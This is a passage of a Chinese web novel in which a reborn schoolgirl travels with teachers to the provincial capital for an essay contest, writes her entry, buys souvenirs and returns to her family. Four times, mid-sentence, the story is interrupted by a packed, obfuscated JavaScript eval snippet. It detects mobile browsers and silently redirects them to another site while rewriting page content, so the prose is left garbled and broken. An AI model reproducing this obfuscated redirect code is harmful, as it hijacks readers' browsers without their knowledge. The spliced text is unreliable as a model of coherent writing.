说着，她想起眼前学生的家境情况，又叹了口气，劝道，“你回去跟你爸妈说，学校会有老师跟着，一定确保你们的健康和安全，让他们不用担心，没必要大老远地跟着去省城一趟。” 筱芫点点头，她也是这么想的，有老师的这些话作保证，老爸老妈应该可以放心了。 “老班叫你去干什么呀？”回到教室，李琪好奇地凑过来问她，“是不是又要去比赛啦？” 她一边把下节课的数学课本和练习题拿出来放在桌上，一边点头肯定了李琪的猜测：“是之前的作文比赛接着的省赛，周五去，老班说咱们学校安排的跟队老师是教导主任。” “啊，这么惨，居然是黑面神教导主任带队？”李琪庆幸地拍了拍胸口，“还好我作文不行。” “嗤，说得好像作文行就能进省赛似的，哪有那么容易！”刚走过来的陈欢嘲笑她道，“和我们筱芫一样厉害的人可没几个，全学校就只有筱芫拿了一等奖呢！” “那当然！筱芫是最厉害的！”李琪毫不在意她的嘲笑，反而十分得意骄傲地表示，“咱们年级的三大文豪都是我的好朋友，说明我也很厉害！” 跟在陈欢后边过来的文悦忍俊不禁，与筱芫对视一眼，点点头赞同道：“说得没错，你确实很厉害。” “所以我们超级厉害的李琪同学，你昨天说一定要做完的手工画呢？快点给我们看看，你藏着不做好不让看的手工画到底是什么样的，我们看了你再交给美术老师吧！” 作为唯一得到允许抢先看过的人，筱芫觉得自己在这个问题上还是有点发言权的。不得不说，李琪在手工还有画画方面的天赋比她要强多了，简单的几种材料——牙签、碎布条组合在一起就成了一幅新颖别致的田园风情画。 连织围巾最简单的手法都学不好的手残星人狠狠地羡慕了。筱芫觉得这样的手工画，在二十年后发上k音，也是会被很多人点赞转发的；在这次学校的手工创意画比赛脱颖而出，应该也是理所当然的事。 李琪显然也很满意自己的作品，所以陈欢文悦她们一说，她就把手工画拿出来，大大方方地让她们欣赏：“我弄了好久才做好的，怎么样？好看吧？要不是为了弄这个，我也不至于没写完作业。” 筱芫和陈欢两人配合地鼓掌：“好看！你确实很厉害！这个叫我们来做，肯定做不来。” “不过你用这么多牙签，你爸妈没骂你浪费吗？”文悦的关注点比较不同，“要是我敢拿家里的牙签做这个，肯定要被打手心。”她说着下意识抖了抖，露出害怕的表情。 李琪得意地哼哼：“那我肯定是没被他们发现啊，每次吃完饭就学他们去拿牙签剔牙，每次都多拿几根、然后不用收起来，一个星期就可以存到足够用的牙签啦。只要没被他们抓现行，那就啥事没有！” “厉害厉害，不愧是你！”陈欢对她竖起了大拇指，然后转头看向筱芫：“你周五要参加省里的作文比赛？是去省城吗？我还没去过省城呢，不知道省城是什么样的？” “我三姨家的姑婆的小儿子听说就是在省城做厨师的，三姨家的姑婆总是说她小儿子从城里寄了什么好东西给她；所以省城应该有很多好东西，好吃的好玩的和漂亮的衣服！” 李琪信誓旦旦地说着，还从书包里拿出一个镶水钻的儿童手表，“这就是三姨给我的，听说就是省城里才有的。我本来想拆了这些很闪的石头来装饰手工画的，但是有点不好拆……” 筱芫几人听到她这么说，连忙仔细看了看那个手表，确定还是好好的，才松了口气，无奈地劝道：“这东西肯定很贵吧，还是你三姨送你的，还是好好收着别弄坏了；不然阿姨看到了，肯定要生气的。” 这么一段时间相处下来，筱芫也差不多摸清了她现在这个同桌是什么样的人——逻辑思维和想象力都很好，动手能力也很厉害，基本上想做什么就会马上付诸行动。据说她从小就喜欢拆东西，拆了再试着装回去，小到自己的玩具，大到家里的时钟、风扇、收音机，要不是她爸妈看得紧，她本来还想拆了她们家前年刚买的小彩电。 按照十几年后的想法来看，她同桌李琪显然有小发明家小创造家的天赋，但是放在现在，家长只会觉得孩子是破坏王，老是糟蹋东西还不听话不肯改。 但这是普遍的现实所限，不能全怪家长。祖辈传下来的教育观念里，能让孩子吃饱穿暖、上学读书就很不错了。而且在这个年代，普通人家家里都不宽裕，家具电器都爱惜得紧，哪里舍得让孩子随便拆？ 作为好友的几人都知道李琪喜欢拆东西，也知道她家里知道了说不定会打她，所以平日里都会帮着她遮掩，提醒她比较贵的、不能拆的东西千万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628142|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别拆。 而筱芫还出于自己说不定能亲眼见证一个发明家的成长这么一个念头，特地给李琪出主意，教她怎么能拆东西的同时不被爸妈教训，比如从给她弟弟修玩具、修好她自己摔坏的小闹钟开始，让大人们把她会弄坏家里的东西的观念，潜移默化成，她是在帮忙家里修东西、替家里省钱。 在大人们转变对她拆东西的想法之前，最好不能再出现东西被她弄坏的事。筱芫和陈欢文悦几人都知道这点，所以刚刚听李琪说才会那么紧张。 “哈哈哈，放心啦，我记得你们交代过我的。我就试了一下下，发现没办法让人看不出我拆过它，就放弃啦！”李琪笑嘻嘻地一手一边地抱住筱芫和文悦，“不要说我了，还是说省城吧！那肯定会比咱们这好玩，就是有老师在，筱芫还能出去玩吗？” 尽管这段时间李琪总是时不时抱着自己或者揽着自己的肩膀，但筱芫还是不习惯这样的亲密接触，下意识挣扎了两下。 因为女生之间搂搂抱抱是正常的事，她不好意思反应太过，所以挣扎了两下没能挣开，她就放弃了，红着脸（热的）跟她们说自己知道的信息：“老班说的赛程安排没有自由活动时间，应该是去到省城，休息一个晚上，第二天进行比赛，然后就回来了。” “啊，那不就玩不成了？”李琪和陈欢有点失望。 文悦不赞同地摇摇头：“筱芫是出去比赛的，又不是为了出去玩。再说了，省城比咱们这大，肯定人更多，坏人肯定更多！我听我奶说，那些坏人会把小孩直接抱走，卖到山沟沟里！去年我家那边就有个小孩差点被人偷走了！筱芫又这么小，出去玩太危险了！” 想到小时候让自己每每回想起来都会后怕不已的那件事，筱芫情不自禁地点点头：“是啊，外面太危险了。” 李琪和陈欢被吓了一跳，她们不是没听过大人们总是挂在嘴边的“不能自己跑到外边、会有坏婆婆来抓小孩”之类的话，但是很难有什么实感。这会听到真的有这种事，她们就被吓到了，于是立刻改口道： “那筱芫你还是不要去玩了，比赛完就回来。等你回来，我们一起去王爷宫那玩吧，听说到时候庙会会有傀儡戏和营锣鼓呢，超级热闹！” 说起庙会，两人又恢复了兴致勃勃的模样，半点看不出前一秒的害怕，争论起了到时候要先看什么。 筱芫觉得无语又好笑，果然还是小孩子，注意力说转移就转移；她正想跟文悦吐槽李琪陈欢她俩，结果一转头——好吧，文悦也满脸兴奋地听着她们说到时候到庙会要怎么玩呢。 一天就这么波澜不惊又热热闹闹地过去了，她依旧按照着计划表对小学的课程进行归纳复习，然后挑出这周练习的作文中最好的一篇，重新誊写一边投给《小学生周刊》。 在晚上一家人吃饭的时候，她把周五要去省城参加作文竞赛的事跟老爸老妈说了： 13. 去省城 第十三章到省城了 “老师让你们不用担心，我们学校的教导主任还有其他学校都会有带队老师跟着。有包车，全市去参加比赛的学生老师都在一起，住宿也是安排好的，很安全。” “有老师跟着就好，你自己也是，注意跟紧老师和同学，不要自己瞎跑。知道吗？”褚母嘴上这么说着，可脸上还是流露出担忧。 褚父咧着嘴高兴了好一会，而后似乎想到什么，沉默了一分钟，张了张嘴，还是没说话，只从裤兜里摸啊摸地，摸出了两张十块钱塞到筱芫手上： “拿着用。” 筱芫捏着手里还带着体温的钱，想了想没有拒绝，笑着对老爸说道：“谢谢老爸！”然后又把班主任的话跟老妈说了一遍，直到老妈紧皱的眉头松开了，她才没接着说。 她要出去省城参加作文比赛这事，对于家里来说是很大的事，所以褚母褚父都十分严阵以待，家里的电视这两天都没开过了，就怕影响到她。 筱芫觉得没必要，跟他们说了几次，让他们不用这样紧张，想看电视就看。但他们嘴上答应得好好的，行动上依旧没有改变的意思。 没有办法，筱芫只能更用心地学习、练习，积累写作素材，打起全部的精神好好准备比赛；只有这样，才能算没辜负父母他们努力为自己创造的学习环境。 上辈子她总觉得父母的这种做法里带着的沉甸甸期盼，让她压力太大，没有办法透气，所以就用沉迷小说来逃避，结果成绩越来越差，要不是高三最后的那一学期她好歹及时醒悟过来好好复习了，说不定她连二本都考不上。 而如今，能重新来过，再一次感受到父母对他们学习的重视，筱芫虽然依旧觉得那期盼沉甸甸的，但却没有了逃避的想法，只想要好好努力。不管最后能不能得到名次，能不能去参加全国作文竞赛，她只想自己这辈子不再有后悔的时候。 在全家人陪着她一块紧张的氛围中，很快就到了周五。 今天筱芫本来想跟平常一样，和大姐二哥一起出门去学校就行，但是觉得她头一回自己出远门的褚父褚母坚决不同意，非要一块送她去。怕自己推脱来推脱去地反而耽误他们去工厂工作，她只好答应了。 刚到学校，她就看到了站学校大门边的教导主任，旁边还有另外一个女生和两个家长模样的人。 褚父褚母立刻走过去和教导主任打招呼，关心着出去省城比赛的各种问题。正好另一个也要去参赛的女生家长也很关心这些事，于是教导主任便一起说了。 基本上跟筱芫回家说的没什么区别，但是家长们不听学校主任老师说，似乎就不能真的安心。 筱芫在旁边跟着又听了一遍，安静地等着家长和主任说完，听着听着，就有点走神。上辈子她没机会参加省级以上的竞赛，也没留意过这些作文竞赛的信息（主要是在他们这作文类的竞赛确实没有数学的竞赛关注度高），不知道会出什么题。 “同学你好呀，我是603班的陈橙，你就是这次市里作文比赛唯一一个拿到一等奖的三年级学生吧？好厉害！” 大概是觉得有点无聊或者紧张？原本也和她一样安静站着的高年级女生看向筱芫，突然两眼放光，凑到她身边说道。 筱芫点点头，腼腆地笑着道：“陈橙姐姐你更厉害，我听老师说过你，上一次的全国作文比赛你都拿了二等奖呢。” 她再怎么说也还是重新来过一次的人，多年社畜的写稿生涯多少还是有用的，所以能拿到市比赛的一等奖。但眼前的女生可没有，她是本来就有这样的能力。 果然自己还需要更努力啊，筱芫在心里给自己鼓劲，决定搭车的时候就继续学习。 等教导主任和家长们说完去省城比赛的所有安排，安了他们的心，才叫筱芫两人过去，准备坐上学校提供的面包车去集合点和其他学校的人会合。 “爸、妈，你们快回去工作吧，我出发啦！”筱芫坐在面包车里冲褚父褚母摆摆手，坐在另一边的陈橙也是一样，等面包车转了个弯，看不到家人了，两人又不约而同地呼了一口气，慌忙摇上车窗，一边喊冷一边猛一阵搓手。 然后两人看着彼此这幅有点傻的模样，顿时哈哈笑了，原本不太熟悉的距离感也在笑声中渐渐消弭。 虽然她们这儿是沿海地区，甚至十几年后还被网友们戏称一年只有两季、但一天可以体验一年四季，但再怎么说现在都十二月了，天还是转冷了。她们这次出去省城，父母都让她们带多了几件毛衣和厚衣服，以防万一。 “待会到了集合的地方，你们不要乱走，要上厕所的就尽快去一趟。人齐了就要出发的，别掉队了。”教导主任神情严肃地叮嘱她们俩，“上车后要是有不舒服、晕车的情况就及时和老师说；中午可能会在服务区停半个钟吃午饭，服务区人来人往鱼龙混杂，安全起见，你们到时候也不要走远。” 筱芫她们本来也不是调皮好动的性格，自然干脆地答应了。 已经经历过一次的陈橙凑在筱芫耳边，小声地说起了她上次去省城时，在服务区发生的一件事：“有个小孩，差点就被拐子给骗走了，幸亏有警察叔叔在，及时发现又抓住了拐子，不然就糟了！” 这个时候的社会治安确实还不是很好，筱芫隐约记得上小学时，经常会听到谁家东西被偷了之类的事，她刚上初中那会还有亲戚被人拦路抢劫、大半夜到她家里找她爸妈帮忙。 也难怪教导主任会这么紧张地耳提面命让她们不要走远。 到了集合的地方，他们一看，人好像都快到齐了，他们来得比较晚。市里安排的带队老师拿着个小喇叭，大声交代着上车后的注意事项，具体内容类似刚刚教导主任说的。 看到其他人都去了厕所，筱芫和陈橙也随大流，避免中途会出现的尴尬状况。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628143|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到排队上车的时候，筱芫粗略数了数，全市去省城参赛的学生，所有年级合起来也不过二十人；跟着的老师却有十来个，除了市里安排的老师，每个学校都另外有老师跟着。 看陈橙对此毫不意外的模样，筱芫就知道了去年的比赛大概也是这么个情形。她笑了下，闭上眼做出犯困睡觉的模样，实则是进了空间看书。 中午，他们在服务区简单解决了午饭，大家都乖乖地按照老师们的要求没有往外走，吃完饭就直接一起回到了车上休息。 建设得还不是十分完善的高速路远没有十几年后的方便快捷，他们又坐了四个多小时的车，才终于到达目的地——省城。 他们在市中心的一间公办旅店（前身是招待所）门前下了车，然后在老师们的带领下依次登记入住，四个人一个房间。 和筱芫她们分到一个房间的，正好是她们在车上时，坐她俩前边的两个女生，路上也说过话、分享过彼此的瓜子柑橘，不算陌生。四个人一起进了房间，一放下东西，就欢快地叽叽喳喳讨论起来。 话题涵盖了省城好不好玩、热不热闹、有什么手信能买了带回去等多个方面，不到半个小时，几人就已经决定好了比赛完之后的行程安排。 “可是老师不是让我们除了去比赛，其他时候都不能出去吗？”筱芫听她们说得这么兴致勃勃，忍不住小声提醒道。 陈橙倏地转头看她，笑得十分狡黠：“老师只是让我们不要乱跑，没有老师同意不能私自跑出去而已嘛。只要找带队老师跟着我们一起去就好啦！” 筱芫顿时愣了，她两辈子都不习惯麻烦别人，宁愿自己硬着头皮做，也从来没想过求助其他人，所以每回都把自己折腾得够呛。所以因为自己想要出去转转顺便买纪念品，而特地麻烦带队老师这种事，她还真的从来没考虑过。 “我们还小嘛，主动寻求大人的帮助和保护，不是什么丢脸的事。这么多老师跟着来，不就是为了这个？”陈橙理直气壮地说道，立马就成功说服了筱芫她们。 讨论完，她们也累了，所以连洗漱都顾不上，直接躺床上好好睡了一觉，快到吃晚饭的时候，几人才在门铃声中慢慢爬了起来，穿衣洗脸、收拾好自己，去和其他同学老师们一块吃晚饭。 吃晚饭的时候，带队老师特地把比赛的地点和周边地标建筑之类的跟他们介绍了一遍，让他们完成作文比赛后，先不用急着出学校，等老师清点过人数没错后，再一起回去。 看得出老师们真的很紧张他们的安全，筱芫心想，一路到现在，老师们都不知道翻来覆去强调多少遍，要她们注意安全了。 “老师，结束比赛后我们想去买点纪念带回去，可以吗？”陈橙看来也是个十足的行动派，一有想法马上就付诸行动了。 教导主任皱着眉看了过来，但陈橙故意装作没发现，依旧看着市里安排的带队老师。 14. 比赛 第十四章比赛 带队老师考虑了一会，和旁边的几个老师低声交换了下意见，最终答应了他们，其他同学见状，自然也跟着说想要一起去。 于是最后，带队老师干脆把这件事列入了原本的行程里，到时候所有人一起去。 筱芫在老师们没注意到的桌底下暗暗对陈橙竖起大拇指，然后就开始盘算自己带的钱够不够买全家人的纪念品，有什么纪念品适合买。 这个问题陈橙她们也不知道，毕竟她们也只比她多来一次而已，上一次她们没有出去转，买的手信纪念品就是在旅店旁边的小卖部里买的，没有任何特别的。 不过这些都是作文比赛之后的事，现在他们都得安分回去休息，养精蓄锐准备明天比赛。筱芫跟陈橙她们躺在床上，聊着聊着就睡着了。 第二天的天色不太好，灰蒙蒙的天空看着像是要下雨，寒风吹到人脸上，有点微微刺痛感。 筱芫和其他同学都裹上了各自带来的最厚的衣服，然后坐着客车，在老师的带领下进了T大。 “笔都带够了吗？至少每人要有两支笔，一支备用，没有的、或者笔不好写的同学来找老师拿。时间足够，可以写慢点，保持字迹整洁清晰。不要紧张，发挥出你们平时的水平就好。”临进赛场前，带队老师又不放心地提醒了一遍。 低头检查了下笔和进赛场的凭证，没有问题，筱芫检查完，依照指示和位置表，很快找到自己的位置坐好，等着监考老师发竞赛的试题。 “现在开始分发作文试题和稿纸，请同学们拿到试题后，先检查一下试题是否印刷完好，没有问题的话，请在试题密封线内填写好个人姓名学校班级等信息。等广播响起后，同学们就可以开始动笔了。” 监考老师站在讲台上，一边拆开密封纸袋，一边说着考场注意事项。见底下的学生们都坐得板正，老实地应好，他们便快速地一人一边开始发试题。 筱芫的位置正好在最中间，很快就拿到了试题，确定没有印刷问题后，她一笔一划、端端正正地写上所属市、区，学校还有姓名，然后开始看试题。 前边的阅读能力测试题不难，她大概看了看就有了思路，主要还是看作文的题目。 作文题有三个可选，第一个题目是要他们以《伊索寓言》中“龟兔赛跑”的故事为基础进行创作，可以发挥想象进行故事续写，也可以写他们从这个故事里学到了什么等等，自选角度，自拟题目。 第二个题目要求比较简略，“以‘____度青春’为题，请现在虚线上填上适当的词将题目补充完整，并以此展开作文。”。 最后一个题目则是列举了一些生活中常见的或者因为进入新世纪而逐渐被人们淘汰遗忘的物品，让他们自选文体和角度，发表自己对这些物品的想法。 所有作文题的字数要求都是不少于600字（诗歌除外），不限制文体、一三题还要自拟题目。 快速浏览了一遍三个作文题，筱芫很快就都有了想法，只不过具体写哪篇，她还没确定。 广播声适时响起，她立马拿起笔，先开始在草稿纸上打草稿，把自己看完作文题之后想到的先写下来，免得过会忘记或者没灵感了。 记录好作文灵感和大概的写作方向后，她回过头完成阅读能力测试题。 说是阅读能力测试题，但筱芫觉得更像是问卷测试里的填空题，主观性很强，按照她之前特地练习过的题目来看，这些题，只要不答得太过放飞和假大空，言之有物言之有理就不会评分太低，如果能结合实际与自己的情况，当然会更好。 很快，她就答完了阅读能力测试题，接着看作文题，选自己最适合感觉最有把握的一个作文题来写。 三个题目要真的写起来，其实都挺好写的，有很多适合的切入点，但是要写出新意来就不那么容易了。 筱芫反复思考比较过后，还是决定写第三个题目。 因为这个题目对她来说比较好发挥，前两个题目多少还是有限制的，不是定了题目就是定了主题，需要很注意不跑题。而且身边常见的旧物，也很适合以小见大、升华主题，功利点说，就是评审老师很可能会喜欢，有利于得奖。 当然，这也只是她看了那么多比赛的优秀作文选集后得出的一个推论，有没有用她也不知道。不过上辈子高考练习作文的时候，老师也反复强调过类似的话，应该是可以普遍适用的。 这些想法在筱芫脑海里只是一闪而过，没有停留。她专心地在草稿上写好作文简纲，将之前写的细碎灵感整合到一起。 可写好之后，筱芫自己怎么看都觉得平平无奇，试着在稿纸上写了两三次开头，都觉得不满意。她一面努力调节心态，让自己不要烦躁，一面盯着作文试题三看。 看着看着，她忽然想到上辈子曾经喜欢过一段时间的“物拟人”类小说动漫，脑袋里的小灯泡蹭地一下亮了！将旧物拟人化，用童话故事的方式说出自己想写的东西，这比她原本的作文设定要亮眼有趣多了！ 想到就写，筱芫顿时感觉灵感爆发，翻过稿纸背面重新写作文的草稿。 或许是因为自己也喜欢，所以她写得超级顺，刷刷刷地不过半个多钟头就写好了草稿，然后她又用十来分钟检查了一遍错别字、修了修段落里、因为写的太快出现的错词病句。 最后，她确定不会再做修改之后，才认真地将作文重新誊写到试题的作文页上；因为时间还很足够，她写得很慢，力求保持全篇作文的字迹整齐干净，让人没法挑书写上的毛病。 但就她这么慢慢地写，等她写完放下笔的时候，比赛时间还有小半个钟。不过赛场里许多人都已经提前交卷走了，整个教室里除了监考老师，也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628144|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有不到十个人。 筱芫这个时候心态倒是很稳定，没有着急忙慌地跟别人一样急着交卷，而是仔仔细细地、从头到尾检查了一遍自己的试题卷子，确认无误后，她才把自己的东西收好，拿着试题上去交卷。 在她交卷后没多久，教室里的其他同学“哗”地一声也都跟着交卷了，似乎还有人是认识的，交完卷就一边讨论着作文题一边凑在一块往外走。 因为是按照不同年级分的赛场，所以筱芫走到原先老师说好的集合地点，才看到认识的人。直到陈橙她们也出来了，一起说话的时候，她才发觉原来到陌生的地方比赛，放眼望去看不到熟悉的人时，她还是会害怕的；哪怕她其实心理年龄是个将近三十岁的大人。 因为答应了带他们去逛逛顺便买手信，带队老师们征求了一下他们的意见，确定他们都想直接去逛，买完东西再回旅店吃饭休息，于是看时间还早，老师们就同意了。 一群人就这么浩浩荡荡地直奔旅店旁边不远的商业街，大概是因为周末，街上的人还挺多的，十分热闹，老师们不得不走到外侧挡着人流，让学生们都走到里边，走近一些别散开。 大家也都知道老师答应带他们出来逛街买东西，是担了多大的麻烦，所以也乖乖地跟着老师，没有人掉队或者乱跑。 因为年纪最小，筱芫被陈橙和另外两个一起住的同学围在了最中间，几人脸上有着对省城这种大城市的新奇，也有一点点紧张兴奋。 不过在筱芫看来，这个时候的省城还是在建设发展中，远没有十年后的繁华，地标建筑小蛮腰都还没开始建，商业街的店铺什么的种类样式也没有多少。 但是与她们小县城相比，这省城可就太繁华热闹了，到处都是高楼大厦、还有不少不同现在寻常楼房的西洋建筑，不同风格的建筑融合在一起，显得十分特别。 陈橙几人因为老师的话不敢乱跑，但是一路上视线就没从街边的店铺、路边的小摊上离开过，步行街中央还有杂耍、唱歌等表演，大家也是看得津津有味。 “好了，这就是旅店老板还有其他客人都推荐的最适合买手信的地方了，你们想买的就自己看看，每五个人一组，会两个老师和你们一起。要买的时候和老师说一声，老师帮你们讲价。”带队老师领着他们走到了步行街另一边，仔细地叮嘱道。 这里的建筑风格又不一样了，有点电视剧里古代的店铺的感觉。筱芫打量了一会离得最近的几家店，看他们门口摆着的东西，好像都是传统手工制品，有的看着风格很粗犷，但更多的是很精细的小物件，跟之前那些店铺卖的确实不太一样。 她还想再观察观察，顺便看看哪里有卖牙线，没有牙线她总觉得牙齿会不够干净。陈橙却等不及了，拉着她和同屋的两个女生、还有一个临时落单的男生直接组成一组：“老师，我们组好啦！” 15. 回家 第十五章回家啦 教导主任猛咳了一声，立马让陈橙停住了要跑的动作，安安分分地等着他和另一位老师走过来，一个个确认他们的姓名学校又在带队老师那登记了一下，才点头领着她们离开大部队。 “这个好看，我奶奶一定喜欢！”陈橙目标明确，一进店铺就选好了要买的东西，“还有这个、这个！” 筱芫在店里四下转了转，盘算着自己带的钱能买点什么带回去，她的稿费基本上都是给老妈存着用的，也就知道这回要出来，才留了一点在身上，但也没有多过一百。她得先听听其他人买的东西大概都是什么价格，再决定要不要买，买哪些，或者再看看别家。 陈橙买的是一盒手工香膏、一方花鸟绣样的绣帕和一个小木雕，不知道是不是老师们很会砍价，最后的价钱不能算贵，三样东西总共七十五元。 其他同学也根据自己的喜好买了一两样，平均单价都在三十以下。筱芫在心里算了算，想着老妈还有大姐二哥会喜欢的风格，也挑着买了一个木雕小帆船和两条绣着不同花纹的丝巾，花掉了她这次带出来的大半小金库。 接着他们又去逛了几家卖其他小玩意的店，她又给老爸买了一个皮质钱包，给细弟买了一罐省城特有的小零食，买了自己一直惦记着要买却没能在县城找到的牙线，最后成功把小金库剩下的钱都用光了。 逛完街买好东西，心满意足的他们又跟着老师们回到旅店，准备吃完饭，休息一会就坐车回去了。 中间还出现了一个小插曲，有同学买了东西之后，本来还有差不多五十块钱放在身上，结果回来的时候一摸口袋，钱没了。他本来急得想跑回去沿路找，最后还是被老师们劝住了。 老师们都清楚，刚刚那么多人，他们又都在买东西，肯定有扒手小偷盯上了他们，所以现在回去找肯定是找不到的，说不定还会惹来麻烦。本来带他们去逛街就是擅做主张了，要是惹出其他麻烦让学生出了什么事，所有老师尤其是带队老师，肯定要挨批受处分。 于是他们争论了一阵后，决定拜托旅店老板等他们坐车离开后，再去报警说商业街有扒手偷东西；至于丢了钱的学生的损失，由几个老师一起凑了先补给他。 筱芫离得比较近，耳朵也尖，所以老师们说的话，她从头到尾都听到了。 她看着老师们，突然想到了上辈子小学时，让自己免费上补习班、兴趣班的两位老师，心里再一次感慨：别的不说，在这一方面她的运气还是不错的，一路以来遇到的老师都是很好的人。倒是她自己，总是因为各种理由半途而废。 在回去的路上，筱芫装作睡觉，再次进了图书馆空间，将自己在省城的见闻写成作文记录下来，打算修一修拿去投稿。现在她对于《小学生周刊》录用刊登作文的标准很熟悉了，所以十分自信。 这样说不定有可能帮到老师们的忙？她想了想，自觉就算帮不了应该也不会有害，果断决定了，写好就投！回去就投！ 写完作文，她出来看了看，发现他们还在路上，都还没到来时停靠的那个服务区。于是她又闭上眼重新进空间，把竞赛的三个作文题都写下来，还有自己写的作文。 另外两个作文题，她准备等比赛结果的时候试着写写。 整理记录好之后，筱芫没有接着看作文相关的书，而是翻出了之前才做了一半不到的四年级奥数练习册，接着做。经过几次对小学数学知识点的复习巩固，她现在做这本练习题要比之前顺手很多，至少鸡兔同笼这样的经典题目已经不能成为她答题上的拦路虎了。 虽然和其他数学真的厉害的人比起来，她只能算是垫底的存在，但是对于一个上辈子的数学渣而言，她对自己目前的进步已经十分满足了。 当然，为了小升初的时候，能去一个更好的学校，她还是会继续努力的；至少拿一次数学类竞赛，像是奥数、华杯之类的比赛奖项。 抱着这样的心态，筱芫做题做得很起劲，越写越顺。专心做题的时候，她就忘记了其他，连中途是不是有在服务区休息都不知道。 所以她还是快到了学校门口，准备下车的时候，才从陈橙那里得知，或许是担心晚了不安全，想尽快回去，他们回程的时候，客车并没有开进服务区休息，直接一路开回了他们小城。 这时天早已经黑了，寒风瑟瑟，学校对面的大路灯亮起了有点昏黄的灯光，筱芫一眼就看到了站在路灯底下，一边搓手跺脚、一边抽着烟看向学校路口的褚父。 一停车，她就赶紧拿好自己的东西，跟老师和陈橙她们挥手道别，然后快步走向褚父：“爸，你等很久了吗？怎么不进杂货店里等，外边这么冷。” “怕你找不到着急啊。也没等多久。”看到走过来的女儿，褚父下意识把烟掐掉，跨上自行车，随口解释了句就让她赶紧坐好，“没事，先别说了，把书包放车篮子里。你妈饭都快做好了，你回去正好赶上晚饭。” 筱芫本想让老爸下次不用来接，她又不是不认得路；可是想到上辈子大学放假回家，车到站的时候都很晚了，老爸老妈都会特地去车站等她接她回家，现在就更不可能让她一个人这么晚走路回去了，哪怕不远。 所以她默默坐上自行车后座，说起了这次去省城比赛的感受：“……不知道能不能得奖，但是我自己写的时候感觉很满意。我们都闹着要去买手信带回来，老师没办法，只好带我们去了。我给家里人都带了手信呢！” 她一路嘴上叭叭叭地说个不停，也没在意老爸一直沉默是不是在听。很快，他们就回到了家门口，她依旧是以扶着自行车座、侧着身一只脚碰到地板另一只脚才放下来的别扭姿势下车。 褚父提起她的书包往屋里走，问她：“那你带的钱够用吗？” “什么带的钱够不够用？你出去比赛还要交钱吗？还是买什么东西？”筱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628145|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芫还没来得及回答够用，褚母做好饭菜出来正好听到褚父的问话，当即看向她，奇怪道。 “没有没有，比赛不用交钱！”她连忙解释，“是我跟爸说，这次去省城比赛，我给咱家里每个人都买了点手信，所以爸就问我带的钱够不够用。” 褚母听到她在省城还跑出去买东西，就猛地皱眉。 筱芫一看老妈这表情，就知道老妈以为她又自己一个跑出去，准备训自己以前差点出事了还不知道长教训，又赶紧补充说明：“不是我一个人出去，我们所有老师同学一起去买的。因为有同学提出想在旅店边的商业街逛逛、买东西回来，其他同学包括我也都想去，所以老师就答应了。” “你们老师也太纵容你们了。他们肯定没心思逛，光盯着你们别让你们乱跑就够费神了。就不该答应，真要出什么事，你们老师可就麻烦了！”褚母不赞同地摇了摇头，觉得她也跟着其他同学闹，不太懂事，“外头多乱啊，要逛要玩什么时候都可以，以后长大了有的是去玩的时候。” 知道老妈说的不是没有道理，筱芫没有反驳，但也不想这个话题继续。于是，她打开书包，从书包里翻出丝巾、木雕和钱包、小零食，一个个介绍起来： “我知道啦！妈，你看，这是我买给你和大姐的丝巾，好不好看？上边的花样都是手工绣的，听说是省城最出名的粤绣呢。” “爸，这个是给你的钱包，你看看喜欢不喜欢？据说外边的人都会用钱包，我觉得这个款式最好看。还有这个，是给二哥你的，这个木雕好像也是省城特有的，他们手工做的。” “那我的呢我的呢？”细弟一直没听到哪个说是给他的，顿时急了。 看他眼巴巴的样子，筱芫笑了，没打算逗他，直接拿出放在旁边的那罐小零食，递给他的时候还不忘“威胁”他一下：“给你的，别一次就吃完了，小心蛀牙牙疼！” “干嘛买这么多，浪费钱。”褚母摸了摸丝巾，尽管嘴上那么说着，眼神却明显看得出是喜欢的，“怎么没给自己买？是不是没钱了？” 